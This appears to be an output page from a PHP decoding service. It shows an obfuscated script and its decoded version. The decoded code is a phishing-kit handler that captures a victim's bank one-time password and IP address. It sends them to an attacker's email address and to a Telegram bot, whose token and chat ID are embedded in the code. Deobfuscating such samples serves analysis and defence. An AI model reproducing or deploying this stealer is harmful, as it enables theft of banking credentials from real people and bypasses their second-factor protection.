Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto uNpfl; uNpfl: session_start(); goto mkalx; mkalx: if (empty($_POST["\157\164\..

Decoded Output download

<?php 
 goto uNpfl; uNpfl: session_start(); goto mkalx; mkalx: if (empty($_POST["otp2"])) { $nameErr = " "; } elseif (strlen($_POST["otp2"]) > 30) { $nameErr = " "; } elseif (strlen($_POST["otp2"]) < 1) { $nameErr = " "; } else { $bnk = $_SESSION["bnk"]; $otp2 = $_POST["otp2"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $message = "==================+[ " . $bnk . " Result ]+==================\xa"; $message .= "otp2  : " . $otp2 . "
"; $message .= "Client IP : " . $ip . "\xa"; $message .= "Port : " . $port . "\xa"; $message .= "=============+ [ Created by OmeGaLorD ] +=============
"; $send = "[email protected]"; $subject = "Det {$ip}"; $headers .= "X-Mailer: PHP v" . phpversion() . "\xd\xa"; mail($send, $subject, $message, $headers); $botToken = "5469489123:AAFCQpBQPmvwiIs3R9bMPK8QvdcFBnptAn0"; $chatId = "6186806969"; $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=otp2: {$otp2}%0AClient ip: {$ip}%0A=============+ [ Created by OmeGaLorD ] +============="; $streamOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "POST")); $context = stream_context_create($streamOptions); $handle = fopen($url, "r", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } goto F6E_C; F6E_C: ?>

Did this file decode correctly?

Original Code

<?php
 goto uNpfl; uNpfl: session_start(); goto mkalx; mkalx: if (empty($_POST["\157\164\160\x32"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\x6f\164\x70\62"]) > 30) { $nameErr = "\x20"; } elseif (strlen($_POST["\157\164\x70\62"]) < 1) { $nameErr = "\x20"; } else { $bnk = $_SESSION["\x62\x6e\x6b"]; $otp2 = $_POST["\x6f\x74\160\x32"]; $ip = getenv("\x52\105\115\x4f\x54\105\x5f\101\104\104\122"); $port = $_SERVER["\122\x45\115\117\124\x45\137\120\x4f\x52\x54"]; $hostname = gethostbyaddr($ip); $message = "\75\x3d\x3d\x3d\x3d\75\x3d\75\x3d\x3d\75\75\x3d\x3d\x3d\x3d\x3d\x3d\53\133\40" . $bnk . "\40\x52\x65\163\x75\x6c\x74\x20\135\x2b\x3d\x3d\x3d\x3d\75\75\x3d\x3d\x3d\75\x3d\75\x3d\75\x3d\75\x3d\x3d\xa"; $message .= "\x6f\164\x70\62\x20\x20\x3a\40" . $otp2 . "\12"; $message .= "\x43\x6c\151\145\156\x74\40\111\120\x20\x3a\x20" . $ip . "\xa"; $message .= "\x50\x6f\x72\164\x20\72\x20" . $port . "\xa"; $message .= "\x3d\x3d\75\75\x3d\x3d\x3d\x3d\x3d\75\x3d\75\x3d\x2b\x20\x5b\40\103\162\145\141\x74\145\x64\x20\x62\x79\40\117\x6d\145\107\141\x4c\157\162\104\x20\135\x20\53\75\75\x3d\x3d\x3d\x3d\x3d\75\75\75\x3d\x3d\x3d\12"; $send = "\x65\144\x6f\x72\x6f\163\145\155\x61\x72\171\x33\63\71\100\x67\155\x61\x69\x6c\x2e\143\157\155"; $subject = "\104\x65\x74\40{$ip}"; $headers .= "\x58\x2d\x4d\141\x69\154\x65\162\x3a\x20\x50\x48\120\x20\166" . phpversion() . "\xd\xa"; mail($send, $subject, $message, $headers); $botToken = "\65\x34\x36\71\x34\70\71\61\62\63\72\101\101\x46\103\x51\160\102\121\120\155\x76\167\151\111\163\x33\122\71\x62\115\120\x4b\x38\x51\166\x64\x63\106\x42\x6e\160\x74\101\x6e\x30"; $chatId = "\66\61\x38\66\70\x30\66\x39\66\x39"; $url = "\x68\164\x74\160\x73\x3a\x2f\x2f\141\x70\151\x2e\164\145\154\145\147\x72\141\155\x2e\157\162\147\x2f\x62\x6f\164{$botToken}\x2f\x73\145\x6e\144\x4d\x65\163\163\x61\x67\x65\77\143\150\141\x74\137\x69\x64\x3d{$chatId}\46\164\x65\170\164\x3d\x6f\x74\x70\x32\72\40{$otp2}\45\x30\x41\103\154\151\x65\156\164\x20\x69\x70\72\x20{$ip}\x25\60\x41\75\75\x3d\x3d\x3d\75\75\x3d\x3d\75\75\75\75\x2b\40\x5b\x20\x43\162\x65\x61\164\x65\144\x20\142\171\40\x4f\155\145\x47\x61\114\157\162\x44\x20\135\40\x2b\x3d\x3d\75\75\75\75\x3d\75\x3d\75\75\75\x3d"; $streamOptions = array("\x73\x73\x6c" => array("\166\x65\162\x69\x66\x79\137\160\x65\x65\x72" => false, "\166\x65\162\151\x66\171\137\160\x65\145\x72\x5f\156\141\155\x65" => false), "\x68\164\x74\160" => array("\x6d\x65\164\150\157\x64" => "\x50\117\x53\x54")); $context = stream_context_create($streamOptions); $handle = fopen($url, "\x72", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } goto F6E_C; F6E_C: ?>

Function Calls

None

Variables

None

Stats

MD5 47c8dabc895041af7bc22a59fed8ac6e
Eval Count 0
Decode Time 46 ms